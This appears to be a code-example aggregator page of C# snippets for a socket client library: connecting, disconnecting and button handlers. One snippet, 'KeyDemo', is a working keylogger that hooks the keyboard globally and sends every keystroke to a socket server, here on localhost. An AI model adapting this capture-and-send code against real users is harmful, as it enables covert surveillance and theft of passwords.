Esempio n. 1
0
        /// <summary>
        /// Tries to connect to the server and activates the container.
        /// </summary>
        public void Start()
        {
            try
            {
                _clientGuid = Guid.NewGuid();
                _client     = new BasicSocketClient();
                _client.ReceiveMessageEvent  += new ReceiveMessageDelegate(client_ReceiveMessageEvent);
                _client.ConnectionEvent      += new SocketConnectionDelegate(client_ConnectionEvent);
                _client.CloseConnectionEvent += new SocketConnectionDelegate(client_CloseConnectionEvent);

                if (_name.Contains(" "))
                {
                    RaiseNewTextEvent("Do not use space in container name!\r\n");
                    return;
                }

                IPEndPoint ipEndPoint = new IPEndPoint(IPAddress.Parse(_serverIP), _serverPort);

                RaiseNewTextEvent("Container connecting to server...");

                _client.Connect(ipEndPoint);
            }
            catch (Exception ex)
            {
                RaiseNewTextEvent("Exception: " + ex.Message + ".");
            }
        }
Esempio n. 2
0
 public ClientSession(string hostIP, int hostPort, string userId)
 {
     _HostIP   = hostIP;
     _HostPort = hostPort;
     _ID       = userId;
     _Guid     = Guid.NewGuid();
     _Client   = new BasicSocketClient();
 }
Esempio n. 3
0
 /// <summary>
 /// Disconnects from the server and deactivates the container.
 /// </summary>
 public void Stop()
 {
     if (_client != null)
     {
         _client.Close();
         _client.Dispose();
         _client = null;
     }
 }
Esempio n. 4
0
 private void buttonDisconnect_Click(object sender, EventArgs e)
 {
     this.client.Close();
     this.client.Dispose();
     this.client = null;
     this.buttonConnect.Enabled    = true;
     this.buttonDisconnect.Enabled = false;
     this.buttonSend.Enabled       = false;
     this.buttonSendLog.Enabled    = false;
     this.buttonSendLong2.Enabled  = false;
 }
Esempio n. 5
0
        static void Main()
        {
            ILogger logger = LogManager.GetLogger("KeyDemo");

            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
            Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException);
            Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);

            BasicSocketClient client = null;
            Guid clientGuid          = Guid.Empty;

            try
            {
                clientGuid = Guid.NewGuid();
                client     = new BasicSocketClient();
                client.ReceiveMessageEvent += (handler, message) =>
                {
                    BasicMessage receivedMessage = (BasicMessage)message;
                    byte[]       buffer          = receivedMessage.GetBuffer();
                    string       s = System.Text.ASCIIEncoding.Unicode.GetString(buffer);
                    logger.Debug(s);
                };
                client.ConnectionEvent += (handler) =>
                {
                    Thread.Sleep(TimeSpan.FromSeconds(20));
                    logger.Debug("Client connected to remote server");
                };
                client.CloseConnectionEvent += (handler) =>
                {
                    logger.Debug("Client disconnected from remote server");
                };
                client.Connect(new IPEndPoint(IPAddress.Loopback, 8100));

                var m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker());
                m_KeyboardHookManager.Enabled   = true;
                m_KeyboardHookManager.KeyPress += (sender, e) =>
                {
                    //NamedPipe.Sender.SendMessage(new List<string>() { e.KeyChar.ToString() });
                    string       s       = e.KeyChar.ToString();
                    byte[]       buffer  = System.Text.ASCIIEncoding.Unicode.GetBytes(s);
                    BasicMessage message = new BasicMessage(clientGuid, buffer);
                    client.SendAsync(message);
                    logger.Debug(string.Format("KeyDown \t\t {0}\n", e.KeyChar));
                };
                Application.Run();
            }
            catch (Exception)
            {
                throw;
            }
        }
Esempio n. 6
0
 private void buttonConnect_Click(object sender, EventArgs e)
 {
     try
     {
         this.clientGuid = Guid.NewGuid();
         this.client     = new BasicSocketClient();
         this.client.ReceiveMessageEvent  += new SocketServerLib.SocketHandler.ReceiveMessageDelegate(client_ReceiveMessageEvent);
         this.client.ConnectionEvent      += new SocketServerLib.SocketHandler.SocketConnectionDelegate(client_ConnectionEvent);
         this.client.CloseConnectionEvent += new SocketServerLib.SocketHandler.SocketConnectionDelegate(client_CloseConnectionEvent);
         this.client.Connect(new IPEndPoint(IPAddress.Loopback, 8100));
         this.buttonConnect.Enabled    = false;
         this.buttonDisconnect.Enabled = true;
         this.buttonSend.Enabled       = true;
         this.buttonSendLog.Enabled    = true;
         this.buttonSendLong2.Enabled  = true;
     }
     catch (Exception ex)
     {
         MessageBox.Show(string.Format("Client failed to connect remote server.\n{0}", ex.Message), "Socket Client",
                         MessageBoxButtons.OK, MessageBoxIcon.Error);
     }
 }